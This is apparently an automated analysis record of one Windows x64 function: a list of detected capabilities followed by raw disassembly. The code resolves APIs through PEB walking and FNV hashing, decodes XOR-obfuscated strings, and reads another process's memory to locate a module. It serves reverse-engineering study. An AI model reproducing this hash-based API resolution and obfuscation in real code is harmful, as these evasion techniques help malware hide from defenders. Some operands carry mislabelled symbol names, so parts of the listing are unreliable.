Function at 0x140024810
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe8
movaps xmmword [rsp + 0xd0], xmm7
movaps xmmword [rsp + 0xc0], xmm6
movups xmm0, xmmword [0x1400d8fa1]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x1400d8fab]
movups xmmword [rsp + 0x6a], xmm0
mov byte [rsp + 0x60], 0x4e
movups xmm0, xmmword [rsp + 0x61]
xorps xmm0, xmmword [0x1400d6120]
movups xmmword [rsp + 0x61], xmm0
xor byte [rsp + 0x71], 0x42
xor byte [rsp + 0x72], 0x43
xor byte [rsp + 0x73], 0x44
xor byte [rsp + 0x74], 0x45
xor byte [rsp + 0x75], 0x46
xor byte [rsp + 0x76], 0x47
xor byte [rsp + 0x77], 0x48
xor byte [rsp + 0x78], 0x49
xor byte [rsp + 0x79], 0x4a
mov qword [rsp + 0x58], rdx
movabs rax, 0x6c642e6c6c64746e
mov qword [rsp + 0x30], rax
mov word [rsp + 0x38], WSAGetLastError
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ebp, dword [rcx + rax + 0x88]
test rbp, rbp
je 0x1400248ba
mov edx, dword [rax + rbp + 0x18]
lea rbx, [rax + 1]
jmp 0x1400248ed
mov esi, 0xb1c6175a
cmp esi, 0xdcdc6747
je 0x140024928
sub rdx, 1
jb 0x1400248ba
mov ecx, dword [rax + rbp + 0x20]
add rcx, rax
mov edi, dword [rcx + rdx*4]
mov cl, byte [rax + rdi]
test cl, cl
je 0x1400248e0
add rdi, rbx
mov esi, 0xb1c6175a
nop dword [rax]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
movzx ecx, byte [rdi]
add rdi, 1
test cl, cl
jne 0x140024910
jmp 0x1400248e5
mov ecx, dword [rax + rbp + 0x1c]
mov ebp, dword [rax + rbp + 0x24]
add rcx, rax
add rbp, rax
mov edx, edx
movzx edx, word [rbp + rdx*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
lea rcx, [rsp + 0x30]
call rdx
mov rcx, qword gs:[0x60]
mov r8, qword [rcx + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov rcx, qword [r8 + 0x30]
movsxd rdx, dword [rcx + 0x3c]
mov edi, dword [rdx + rcx + 0x88]
test rdi, rdi
je 0x14002495b
mov ebp, dword [rcx + rdi + 0x18]
lea r9, [rcx + 1]
jmp 0x14002498d
mov edx, 0xb2c618ed
cmp edx, 0x2b365bd
je 0x1400249c8
sub rbp, 1
jb 0x14002495b
mov edx, dword [rcx + rdi + 0x20]
add rdx, rcx
mov esi, dword [rdx + rbp*4]
mov bl, byte [rcx + rsi]
test bl, bl
je 0x140024980
add rsi, r9
mov edx, 0xb2c618ed
nop dword [rax]
movsx ebx, bl
xor ebx, edx
imul edx, ebx, 0x1000193
movzx ebx, byte [rsi]
add rsi, 1
test bl, bl
jne 0x1400249b0
jmp 0x140024985
mov edx, dword [rcx + rdi + 0x1c]
mov ebx, dword [rcx + rdi + 0x24]
add rdx, rcx
add rbx, rcx
mov ebp, ebp
movzx ebp, word [rbx + rbp*2]
mov ebp, dword [rdx + rbp*4]
add rbp, rcx
lea rdx, [rsp + 0x60]
mov rcx, rax
call rbp
mov r14, rax
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ebp, dword [rcx + rax + 0x88]
test rbp, rbp
je 0x140024a00
mov edx, dword [rax + rbp + 0x18]
lea rbx, [rax + 1]
jmp 0x140024a3d
mov esi, 0x1ebe742c
cmp esi, 0xb238e821
je 0x140024a78
sub rdx, 1
jb 0x140024a00
mov ecx, dword [rax + rbp + 0x20]
add rcx, rax
mov edi, dword [rcx + rdx*4]
mov cl, byte [rax + rdi]
test cl, cl
je 0x140024a30
add rdi, rbx
mov esi, 0x1ebe742c
nop dword [rax]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
movzx ecx, byte [rdi]
add rdi, 1
test cl, cl
jne 0x140024a60
jmp 0x140024a35
mov ecx, dword [rax + rbp + 0x1c]
mov ebp, dword [rax + rbp + 0x24]
add rcx, rax
add rbp, rax
mov edx, edx
movzx edx, word [rbp + rdx*2]
mov ebp, dword [rcx + rdx*4]
add rbp, rax
mov r8d, dword [0x140113d98]
mov ecx, 0x400
xor edx, edx
call rbp
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x60]
mov rcx, rax
xor edx, edx
mov r9d, 0x30
call r14
mov r8, qword [rsp + 0x68]
add r8, 0x18
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 8
lea rsi, [0x1401140f0]
lea r9, [rsp + 0x30]
mov rcx, rsi
call fcn.140094ee0
mov rdi, qword [rsp + 0x30]
add rdi, 0x20
mov rdx, qword [0x140113d90]
xorps xmm6, xmm6
movaps xmmword [rsp + 0xb0], xmm6
mov qword [rsp + 0x20], select
lea r9, [rsp + 0xb0]
mov rcx, rsi
mov r8, rdi
call fcn.140094ee0
mov r12, qword [rsp + 0xb0]
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 8
lea rbx, [rsp + 0x30]
mov rcx, rsi
mov r8, r12
mov r9, rbx
call fcn.140094ee0
mov qword [rsp + 0xa8], rdi
cmp qword [rsp + 0x30], rdi
je 0x140024ee6
lea rdi, [0x1401140f0]
movaps xmm7, xmmword [0x1400d6010]
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 8
mov rcx, rdi
mov r8, r12
mov r9, rbx
call fcn.140094ee0
mov r8, qword [rsp + 0x30]
add r8, 0xfffffffffffffff0
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 8
mov rcx, rdi
mov r9, rbx
call fcn.140094ee0
mov rbp, qword [rsp + 0x30]
lea r8, [rbp + 0x30]
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 8
mov rcx, rdi
mov r9, rbx
call fcn.140094ee0
mov r15, qword [rsp + 0x30]
add rbp, 0x48
mov rdx, qword [0x140113d90]
movaps xmmword [rsp + 0x90], xmm6
mov qword [rsp + 0x20], select
mov rcx, rdi
mov r8, rbp
lea r9, [rsp + 0x90]
call fcn.140094ee0
movzx esi, word [rsp + 0x90]
mov ecx, esi
and ecx, 0xfffffffe
add rcx, 2
call fcn.14009fe3c
mov rbp, rax
mov r8, qword [rsp + 0x98]
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov r9, rax
call fcn.140094ee0
movzx eax, word [rsp + 0x90]
and eax, 0xfffffffe
mov word [rbp + rax], 0
mov qword [rsp + 0x30], 0
movups xmmword [rsp + 0x40], xmm7
mov word [rsp + 0x30], 0
mov rcx, rbp
call fcn.1400bbe48
mov r14, rax
cmp rax, 7
mov qword [rsp + 0xa0], r15
jbe 0x140024cd0
mov rcx, rbx
mov rdx, r14
mov r9, rbp
call fcn.1400070d0
jmp 0x140024cee
mov qword [rsp + 0x40], r14
mov r8, r14
add r8, r14
mov rcx, rbx
mov rdx, rbp
call fcn.1400a5150
mov word [rsp + r14*2 + 0x30], 0
mov r15, qword [rsp + 0x48]
cmp r15, 8
mov r13, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
cmovae rbx, r13
test rdi, rdi
je 0x140024d40
add rdi, rdi
xor esi, esi
nop
movzx ecx, word [rbx + rsi]
call fcn.1400bbbcc
mov word [rbx + rsi], ax
add rsi, 2
cmp rdi, rsi
jne 0x140024d10
mov r13, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140024d42
xor ebp, ebp
mov rcx, qword [rsp + 0x58]
call fcn.1400bbe48
cmp r15, 8
lea rbx, [rsp + 0x30]
mov r9, rbx
cmovae r9, r13
mov r14, 0xffffffffffffffff
mov rdi, rbp
sub rdi, rax
jb 0x140024e10
test rax, rax
je 0x140024e09
inc rdi
je 0x140024e10
mov rcx, qword [rsp + 0x58]
movzx r10d, word [rcx]
add rdi, rdi
lea r8, [r9 + rbp*2]
sub r8, rax
sub r8, rax
mov rcx, r9
sar rdi, 1
xor ebp, ebp
nop
cmp word [rcx + rbp], r10w
je 0x140024dc0
add rbp, 2
add rdi, 0xffffffffffffffff
jne 0x140024da0
jmp 0x140024e10
lea r11, [rcx + rbp]
mov ebx, 1
nop dword [rax]
cmp rax, rbx
je 0x140024ec6
movzx esi, word [r11 + rbx*2]
lea rdx, [rbx + 1]
mov rdi, qword [rsp + 0x58]
cmp si, word [rdi + rbx*2]
mov rbx, rdx
je 0x140024dd0
mov rdi, r8
sub rdi, rcx
add rcx, rbp
add rcx, 2
sub rdi, rbp
lea rbx, [rsp + 0x30]
jne 0x140024d9a
jmp 0x140024e10
xor r14d, r14d
nop dword [rax]
cmp r15, 8
jb 0x140024e51
lea rdx, [r15 + r15]
add rdx, 2
cmp rdx, 0x1000
jb 0x140024e49
mov rax, qword [r13 - 8]
add r13, 0xfffffffffffffff8
sub r13, rax
cmp r13, 0x20
jae 0x140024f16
add r15, r15
add r15, 0x29
mov rdx, r15
mov r13, rax
mov rcx, r13
call fcn.14009fe08
cmp r14, 0xffffffffffffffff
jne 0x140024eea
mov rdx, qword [0x140113d90]
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x20], select
lea rdi, [0x1401140f0]
mov rcx, rdi
mov r8, r12
mov r9, rbx
call fcn.140094ee0
mov r12, qword [rsp + 0x30]
mov rdx, qword [0x140113d90]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], 8
mov rcx, rdi
mov r8, r12
mov r9, rbx
call fcn.140094ee0
mov rax, qword [rsp + 0xa8]
cmp qword [rsp + 0x30], rax
jne 0x140024b90
jmp 0x140024ee6
sub rcx, r9
add rcx, rbp
sar rcx, 1
mov r14, rcx
lea rbx, [rsp + 0x30]
cmp r15, 8
jae 0x140024e16
jmp 0x140024e51
xor eax, eax
jmp 0x140024ef2
mov rax, qword [rsp + 0xa0]
movaps xmm6, xmmword [rsp + 0xc0]
movaps xmm7, xmmword [rsp + 0xd0]
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1400b4570
int3